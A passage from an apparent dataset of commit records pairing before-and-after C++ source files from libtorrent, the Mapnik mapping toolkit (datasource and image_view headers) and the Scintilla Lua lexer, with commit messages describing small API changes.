(INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n#if defined(__GNUC__) && __GNUC__ >= 4\n\n#define TORRENT_DEPRECATED __attribute__ ((deprecated))\n\n# if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define TORRENT_EXPORT\n# endif\n\n#elif defined(__GNUC__)\n\n# define TORRENT_EXPORT\n\n#elif defined(BOOST_MSVC)\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n# define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __declspec(dllimport)\n# else\n# define TORRENT_EXPORT\n# endif\n\n#else\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n\/\/ set up defines for target environments\n#if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n#elif defined __linux__\n#define TORRENT_LINUX\n#elif defined WIN32\n#define TORRENT_WINDOWS\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#else\n#warning unkown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n#define TORRENT_USE_IPV6 1\n#define TORRENT_USE_MLOCK 1\n#define TORRENT_USE_READV 1\n#define TORRENT_USE_WRITEV 1\n#define TORRENT_USE_IOSTREAM 1\n\n\/\/ should wpath or path be used?\n#if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \\\n\t&& BOOST_VERSION >= 103400 && !defined __APPLE__\n#define TORRENT_USE_WPATH 1\n#else\n#define TORRENT_USE_WPATH 0\n#endif\n\n#ifdef TORRENT_WINDOWS\n#include <stdarg.h>\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define NAME_MAX 255\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\treturn vsnprintf_s(buf, len, _TRUNCATE, fmt, lp);\n}\n#define strtoll _strtoi64\n#else\n#include <limits.h>\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING)\n#define TORRENT_UPNP_LOGGING\n#endif\n\n#if !TORRENT_USE_WPATH && defined TORRENT_LINUX\n\/\/ libiconv presnce, not implemented yet\n#define TORRENT_USE_LOCALE_FILENAMES 1\n#else\n#define TORRENT_USE_LOCALE_FILENAMES 0\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n\/\/ determine what timer implementation we can use\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32)\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: datasource.hpp 43 2005-04-22 18:52:47Z pavlenko $\n\n#ifndef DATASOURCE_HPP\n#define DATASOURCE_HPP\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/ctrans.hpp>\n#include <mapnik\/params.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/query.hpp>\n#include <mapnik\/feature_layer_desc.hpp>\n\/\/ boost\n#include <boost\/utility.hpp>\n#include <boost\/shared_ptr.hpp>\n\/\/ stl\n#include <map>\n#include <string>\n\nnamespace mapnik {\n \ntypedef MAPNIK_DECL boost::shared_ptr<Feature> feature_ptr;\n \nstruct MAPNIK_DECL Featureset\n{\n virtual feature_ptr next()=0;\n virtual ~Featureset() {};\n};\n \ntypedef MAPNIK_DECL boost::shared_ptr<Featureset> featureset_ptr;\n \nclass MAPNIK_DECL datasource_exception : public std::exception\n{\nprivate:\n std::string message_;\npublic:\n datasource_exception(const std::string& message=std::string(\"no reason\"))\n :message_(message) {}\n\n ~datasource_exception() throw() {}\n virtual const char* what() const throw()\n {\n return message_.c_str();\n }\n};\n \nclass MAPNIK_DECL datasource : private boost::noncopyable\n{\npublic: \n enum datasource_t {\n Vector,\n Raster\n };\n\n datasource (parameters const& params, bool bind=true)\n : params_(params),\n is_bound_(false)\n {}\n\n \/*!\n * @brief Get the configuration parameters of the data source.\n *\n * These vary depending on the type of data source.\n *\n * @return The configuration parameters of the data source.\n *\/\n parameters const& params() const\n {\n return params_;\n }\n \n \/*!\n * @brief Get the type of the datasource\n * @return The type of the datasource (Vector or Raster)\n *\/\n virtual int type() const=0;\n \n \/*!\n * @brief Connect to the datasource\n *\/\n virtual void bind() const {};\n \n virtual featureset_ptr features(const query& q) const=0;\n virtual featureset_ptr features_at_point(coord2d const& pt) const=0;\n virtual box2d<double> envelope() const=0;\n virtual layer_descriptor get_descriptor() const=0;\n virtual ~datasource() {};\nprotected:\n parameters params_;\n mutable bool is_bound_;\n};\n \ntypedef std::string datasource_name();\ntypedef datasource* create_ds(const parameters& params, bool bind);\ntypedef void destroy_ds(datasource *ds);\n\n \nclass datasource_deleter\n{\npublic:\n void operator() (datasource* ds)\n {\n delete ds;\n }\n};\n\ntypedef boost::shared_ptr<datasource> datasource_ptr;\n \n \n#define DATASOURCE_PLUGIN(classname) \\\n extern \"C\" MAPNIK_EXP std::string datasource_name() \\\n { \\\n return classname::name(); \\\n } \\\n extern \"C\" MAPNIK_EXP datasource* create(const parameters ¶ms, bool bind) \\\n { \\\n return new classname(params, bind); \\\n } \\\n extern \"C\" MAPNIK_EXP void destroy(datasource *ds) \\\n { \\\n delete ds; \\\n } \\\n \/\/\n}\n\n#endif \/\/DATASOURCE_HPP\n<commit_msg>+ remove 'bind' param from datasource (base class) ctor (FIXME: would be better to use parameters to pass to specific options to concrete datasource implementations)<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: datasource.hpp 43 2005-04-22 18:52:47Z pavlenko $\n\n#ifndef DATASOURCE_HPP\n#define DATASOURCE_HPP\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/ctrans.hpp>\n#include <mapnik\/params.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/query.hpp>\n#include <mapnik\/feature_layer_desc.hpp>\n\/\/ boost\n#include <boost\/utility.hpp>\n#include <boost\/shared_ptr.hpp>\n\/\/ stl\n#include <map>\n#include <string>\n\nnamespace mapnik {\n \ntypedef MAPNIK_DECL boost::shared_ptr<Feature> feature_ptr;\n \nstruct MAPNIK_DECL Featureset\n{\n virtual feature_ptr next()=0;\n virtual ~Featureset() {};\n};\n \ntypedef MAPNIK_DECL boost::shared_ptr<Featureset> featureset_ptr;\n \nclass MAPNIK_DECL datasource_exception : public std::exception\n{\nprivate:\n std::string message_;\npublic:\n datasource_exception(const std::string& message=std::string(\"no reason\"))\n :message_(message) {}\n\n ~datasource_exception() throw() {}\n virtual const char* what() const throw()\n {\n return message_.c_str();\n }\n};\n \nclass MAPNIK_DECL datasource : private boost::noncopyable\n{\npublic: \n enum datasource_t {\n Vector,\n Raster\n };\n\n datasource (parameters const& params)\n : params_(params),\n is_bound_(false)\n {}\n \n \/*!\n * @brief Get the configuration parameters of the data source.\n *\n * These vary depending on the type of data source.\n *\n * @return The configuration parameters of the data source.\n *\/\n parameters const& params() const\n {\n return params_;\n }\n \n \/*!\n * @brief Get the type of the datasource\n * @return The type of the datasource (Vector or Raster)\n *\/\n virtual int type() const=0;\n \n \/*!\n * @brief Connect to the datasource\n *\/\n virtual void bind() const {};\n \n virtual featureset_ptr features(const query& q) const=0;\n virtual featureset_ptr features_at_point(coord2d const& pt) const=0;\n virtual box2d<double> envelope() const=0;\n virtual layer_descriptor get_descriptor() const=0;\n virtual ~datasource() {};\nprotected:\n parameters params_;\n mutable bool is_bound_;\n};\n \ntypedef std::string datasource_name();\ntypedef datasource* create_ds(const parameters& params, bool bind);\ntypedef void destroy_ds(datasource *ds);\n\n \nclass datasource_deleter\n{\npublic:\n void operator() (datasource* ds)\n {\n delete ds;\n }\n};\n\ntypedef boost::shared_ptr<datasource> datasource_ptr;\n \n \n#define DATASOURCE_PLUGIN(classname) \\\n extern \"C\" MAPNIK_EXP std::string datasource_name() \\\n { \\\n return classname::name(); \\\n } \\\n extern \"C\" MAPNIK_EXP datasource* create(const parameters ¶ms, bool bind) \\\n { \\\n return new classname(params, bind); \\\n } \\\n extern \"C\" MAPNIK_EXP void destroy(datasource *ds) \\\n { \\\n delete ds; \\\n } \\\n \/\/\n}\n\n#endif \/\/DATASOURCE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_IMAGE_VIEW_HPP\n#define MAPNIK_IMAGE_VIEW_HPP\n\nnamespace mapnik {\n\ntemplate <typename T>\nclass image_view\n{\npublic:\n typedef typename T::pixel_type pixel_type;\n\n image_view(unsigned x, unsigned y, unsigned width, unsigned height, T const& data)\n : x_(x),\n y_(y),\n width_(width),\n height_(height),\n data_(data)\n {\n if (x_ >= data_.width()) x_=data_.width()-1;\n if (y_ >= data_.height()) x_=data_.height()-1;\n if (x_ + width_ > data_.width()) width_= data_.width() - x_;\n if (y_ + height_ > data_.height()) height_= data_.height() - y_;\n }\n\n ~image_view() {}\n\n image_view(image_view<T> const& rhs)\n : x_(rhs.x_),\n y_(rhs.y_),\n width_(rhs.width_),\n height_(rhs.height_),\n data_(rhs.data_) {}\n\n image_view<T> & operator=(image_view<T> const& rhs)\n {\n if (&rhs==this) return *this;\n x_ = rhs.x_;\n y_ = rhs.y_;\n width_ = rhs.width_;\n height_ = rhs.height_;\n data_ = rhs.data_;\n return *this;\n }\n\n inline unsigned x() const\n {\n return x_;\n }\n\n inline unsigned y() const\n {\n return y_;\n }\n\n inline unsigned width() const\n {\n return width_;\n }\n\n inline unsigned height() const\n {\n return height_;\n }\n\n inline const pixel_type* getRow(unsigned row) const\n {\n return data_.getRow(row + y_) + x_;\n }\n inline T& data()\n {\n return data_;\n }\n inline T const& data() const\n {\n return data_;\n }\n\nprivate:\n unsigned x_;\n unsigned y_;\n unsigned width_;\n unsigned height_;\n T const& data_;\n};\n}\n\n#endif \/\/ MAPNIK_IMAGE_VIEW_HPP\n\n<commit_msg>+ add getBytes() method ( needed by webp i\/o)<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_IMAGE_VIEW_HPP\n#define MAPNIK_IMAGE_VIEW_HPP\n\nnamespace mapnik {\n\ntemplate <typename T>\nclass image_view\n{\npublic:\n typedef typename T::pixel_type pixel_type;\n\n image_view(unsigned x, unsigned y, unsigned width, unsigned height, T const& data)\n : x_(x),\n y_(y),\n width_(width),\n height_(height),\n data_(data)\n {\n if (x_ >= data_.width()) x_=data_.width()-1;\n if (y_ >= data_.height()) x_=data_.height()-1;\n if (x_ + width_ > data_.width()) width_= data_.width() - x_;\n if (y_ + height_ > data_.height()) height_= data_.height() - y_;\n }\n\n ~image_view() {}\n\n image_view(image_view<T> const& rhs)\n : x_(rhs.x_),\n y_(rhs.y_),\n width_(rhs.width_),\n height_(rhs.height_),\n data_(rhs.data_) {}\n\n image_view<T> & operator=(image_view<T> const& rhs)\n {\n if (&rhs==this) return *this;\n x_ = rhs.x_;\n y_ = rhs.y_;\n width_ = rhs.width_;\n height_ = rhs.height_;\n data_ = rhs.data_;\n return *this;\n }\n\n inline unsigned x() const\n {\n return x_;\n }\n\n inline unsigned y() const\n {\n return y_;\n }\n\n inline unsigned width() const\n {\n return width_;\n }\n\n inline unsigned height() const\n {\n return height_;\n }\n\n inline const pixel_type* getRow(unsigned row) const\n {\n return data_.getRow(row + y_) + x_;\n }\n\n inline char const* getBytes() const\n {\n return reinterpret_cast<char const*>(&data_);\n }\n\n inline T& data()\n {\n return data_;\n }\n inline T const& data() const\n {\n return data_;\n }\n\nprivate:\n unsigned x_;\n unsigned y_;\n unsigned width_;\n unsigned height_;\n T const& data_;\n};\n}\n\n#endif \/\/ MAPNIK_IMAGE_VIEW_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexLua.cxx\n ** Lexer for Lua language.\n **\n ** Written by Paul Winwood.\n ** Folder by Alexey Yutkin.\n ** Modified by Marcos E. Wurzius & Philippe Lhoste\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <fcntl.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\nstatic inline bool IsAWordChar(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');\n}\n\ninline bool IsAWordStart(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '_');\n}\n\ninline bool isLuaOperator(char ch) {\n\tif (isalnum(ch))\n\t\treturn false;\n\t\/\/ '.' left out as it is used to make up numbers\n\tif (ch == '*' || ch == '\/' || ch == '-' || ch == '+' ||\n\t\tch == '(' || ch == ')' || ch == '=' ||\n\t\tch == '{' || ch == '}' || ch == '~' ||\n\t\tch == '[' || ch == ']' || ch == ';' ||\n\t\tch == '<' || ch == '>' || ch == ',' ||\n\t\tch == '.' || ch == '^' || ch == '%' || ch == ':')\n\t\treturn true;\n\treturn false;\n}\n\nstatic void ColouriseLuaDoc(\n\tunsigned int startPos,\n\tint length,\n\tint initStyle,\n\tWordList *keywordlists[],\n\tAccessor &styler) {\n\n\tWordList &keywords = *keywordlists[0];\n\tWordList &keywords2 = *keywordlists[1];\n\tWordList &keywords3 = *keywordlists[2];\n\tWordList &keywords4 = *keywordlists[3];\n\tWordList &keywords5 = *keywordlists[4];\n\tWordList &keywords6 = *keywordlists[5];\n\n\tint currentLine = styler.GetLine(startPos);\n\t\/\/ Initialize the literal string [[ ... ]] nesting level, if we are inside such a string.\n\tint literalStringLevel = 0;\n\tif (initStyle == SCE_LUA_LITERALSTRING) {\n\t\tliteralStringLevel = styler.GetLineState(currentLine - 1);\n\t}\n\t\/\/ Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment\n\tint blockCommentLevel = 0;\n\tif (initStyle == SCE_LUA_COMMENT) {\n\t\tblockCommentLevel = styler.GetLineState(currentLine - 1);\n\t}\n\n\t\/\/ Do not leak onto next line\n\tif (initStyle == SCE_LUA_STRINGEOL) {\n\t\tinitStyle = SCE_LUA_DEFAULT;\n\t}\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\tif (startPos == 0 && sc.ch == '#') {\n\t\t\/\/ shbang line: # is a comment only if first char of the script\n\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t}\n\tfor (; sc.More(); sc.Forward()) {\n\t\tif (sc.atLineEnd) {\n\t\t\t\/\/ Update the line state, so it can be seen by next line\n\t\t\tcurrentLine = styler.GetLine(sc.currentPos);\n\t\t\tswitch (sc.state) {\n\t\t\tcase SCE_LUA_LITERALSTRING:\n\t\t\t\t\/\/ Inside a literal string, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, literalStringLevel);\n\t\t\t\tbreak;\n\t\t\tcase SCE_LUA_COMMENT: \t\/\/ Block comment\n\t\t\t\t\/\/ Inside a block comment, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, blockCommentLevel);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\/\/ Reset the line state\n\t\t\t\tstyler.SetLineState(currentLine, 0);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {\n\t\t\t\/\/ Prevent SCE_LUA_STRINGEOL from leaking back to previous line\n\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t}\n\n\t\t\/\/ Handle string line continuation\n\t\tif ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&\n\t\t sc.ch == '\\\\') {\n\t\t\tif (sc.chNext == '\\n' || sc.chNext == '\\r') {\n\t\t\t\tsc.Forward();\n\t\t\t\tif (sc.ch == '\\r' && sc.chNext == '\\n') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if the current state should terminate.\n\t\tif (sc.state == SCE_LUA_OPERATOR) {\n\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t} else if (sc.state == SCE_LUA_NUMBER) {\n\t\t\tif (!IsAWordChar(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_IDENTIFIER) {\n\t\t\tif (!IsAWordChar(sc.ch) || (sc.ch == '.')) {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrent(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD);\n\t\t\t\t} else if (keywords2.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD2);\n\t\t\t\t} else if (keywords3.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD3);\n\t\t\t\t} else if (keywords4.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD4);\n\t\t\t\t} else if (keywords5.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD5);\n\t\t\t\t} else if (keywords6.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD6);\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENTLINE ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_PREPROCESSOR ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_STRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_CHARACTER) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_LITERALSTRING) {\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t} else if (sc.Match(']', ']') && literalStringLevel > 0) {\n\t\t\t\tliteralStringLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (literalStringLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENT) {\t\/\/ Lua 5.0's block comment\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tblockCommentLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(']', ']') && blockCommentLevel > 0) {\n\t\t\t\tblockCommentLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (blockCommentLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if a new state should be entered.\n\t\tif (sc.state == SCE_LUA_DEFAULT) {\n\t\t\tif (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_LUA_NUMBER);\n\t\t\t} else if (IsAWordStart(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_IDENTIFIER);\n\t\t\t} else if (sc.Match('\\\"')) {\n\t\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t\t} else if (sc.Match('\\'')) {\n\t\t\t\tsc.SetState(SCE_LUA_CHARACTER);\n\t\t\t} else if (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(\"--[[\")) {\t\/\/ Lua 5.0's block comment\n\t\t\t\tblockCommentLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_COMMENT);\n\t\t\t\tsc.Forward(3);\n\t\t\t} else if (sc.Match('-', '-')) {\n\t\t\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.atLineStart && sc.Match('$')) {\n\t\t\t\tsc.SetState(SCE_LUA_PREPROCESSOR);\t\/\/ Obsolete since Lua 4.0, but still in old code\n\t\t\t} else if (isLuaOperator(static_cast<char>(sc.ch))) {\n\t\t\t\tsc.SetState(SCE_LUA_OPERATOR);\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void FoldLuaDoc(unsigned int startPos, int length, int \/* initStyle *\/, WordList *[],\n Accessor &styler) {\n\tunsigned int lengthDoc = startPos + length;\n\tint visibleChars = 0;\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tchar chNext = styler[startPos];\n\tbool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n\tint styleNext = styler.StyleAt(startPos);\n\tchar s[10];\n\n\tfor (unsigned int i = startPos; i < lengthDoc; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\t\tint style = styleNext;\n\t\tstyleNext = styler.StyleAt(i + 1);\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tif (style == SCE_LUA_WORD) {\n\t\t\tif (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') {\n\t\t\t\tfor (unsigned int j = 0; j < 8; j++) {\n\t\t\t\t\tif (!iswordchar(styler[i + j])) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\ts[j] = styler[i + j];\n\t\t\t\t\ts[j + 1] = '\\0';\n\t\t\t\t}\n\n\t\t\t\tif ((strcmp(s, \"if\") == 0) || (strcmp(s, \"do\") == 0) || (strcmp(s, \"function\") == 0)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t}\n\t\t\t\tif ((strcmp(s, \"end\") == 0) || (strcmp(s, \"elseif\") == 0)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (style == SCE_LUA_OPERATOR) {\n\t\t\tif (ch == '{' || ch == '(') {\n\t\t\t\tlevelCurrent++;\n\t\t\t} else if (ch == '}' || ch == ')') {\n\t\t\t\tlevelCurrent--;\n\t\t\t}\n\t\t}\n\n\t\tif (atEOL) {\n\t\t\tint lev = levelPrev;\n\t\t\tif (visibleChars == 0 && foldCompact) {\n\t\t\t\tlev |= SC_FOLDLEVELWHITEFLAG;\n\t\t\t}\n\t\t\tif ((levelCurrent > levelPrev) && (visibleChars > 0)) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t}\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t}\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t\tvisibleChars = 0;\n\t\t}\n\t\tif (!isspacechar(ch)) {\n\t\t\tvisibleChars++;\n\t\t}\n\t}\n\t\/\/ Fill in the real level of the next line, keeping the current flags as they will be filled in later\n\n\tint flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;\n\tstyler.SetLevel(lineCurrent, levelPrev | flagsNext);\n}\n\nstatic const char * const luaWordListDesc[] = {\n\t\"Keywords\",\n\t\"Basic functions\",\n\t\"String & math functions\",\n\t\"I\/O & system facilities\",\n\t\"XXX\",\n\t\"XXX\",\n\t0\n};\n\nLexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, \"lua\", FoldLuaDoc, luaWordListDesc);\n<commit_msg>Patch from Alexey to fold literal strings and comments.<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexLua.cxx\n ** Lexer for Lua language.\n **\n ** Written by Paul Winwood.\n ** Folder by Alexey Yutkin.\n ** Modified by Marcos E. Wurzius & Philippe Lhoste\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <fcntl.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include 